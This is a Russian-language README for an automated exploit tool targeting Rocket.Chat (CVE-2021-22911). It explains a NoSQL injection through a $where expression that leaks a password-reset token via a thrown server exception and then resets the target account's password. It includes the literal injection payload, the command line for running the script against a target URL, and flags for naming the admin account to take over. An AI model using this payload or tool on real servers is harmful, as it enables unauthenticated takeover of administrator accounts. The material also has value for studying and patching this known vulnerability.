
Автоматизированный эксплойт для NoSQL-инъекции в Rocket.Chat (CVE-2021-22911), который раскрывает токены сброса пароля и выполняет захват учетной записи без аутентификации.
Автоматизированный эксплойт для Rocket.Chat (и приложений на базе Meteor), который использует NoSQL-инъекцию через выражение $where для утечки токенов сброса пароля через исключения на стороне сервера. После утечки токена скрипт выполняет неаутентифицированный сброс пароля.
Аутентификация: Скрипт аутентифицируется как обычный пользователь для получения доступа к конечной точке /api/v1/users.list.
NoSQL-инъекция: Использует параметр query для внедрения JavaScript-выражения $where.
Эксфильтрация данных: Используя оператор throw внутри инъекции, скрипт заставляет сервер вернуть ошибку «неперехваченное исключение», содержащую токен сброса пароля целевого пользователя.
Захват учётной записи: Скрипт использует утекший токен для вызова resetPassword, изменяя пароль целевой учётной записи.
Python 3.x
библиотека requests
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
Основой эксплойта является строка инъекции:
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
При обработке сервером движок базы данных выполняет анонимную функцию, аварийно завершается на throw, и приложение перехватывает исключение, непреднамеренно передавая секретный токен обратно пользователю в JSON-ответе об ошибке.
| Аргумент | Длинный флаг | Описание |
|---|
-u | --user | Ваше действительное имя пользователя или email для начальной аутентификации. |
-p | --password | Ваш действительный пароль. |
-a | --admin | Имя пользователя учётной записи, которую нужно сбросить. |
-ap | --admin-pass | Новый пароль для учётной записи администратора. |
--url | Базовый URL экземпляра Rocket.Chat. |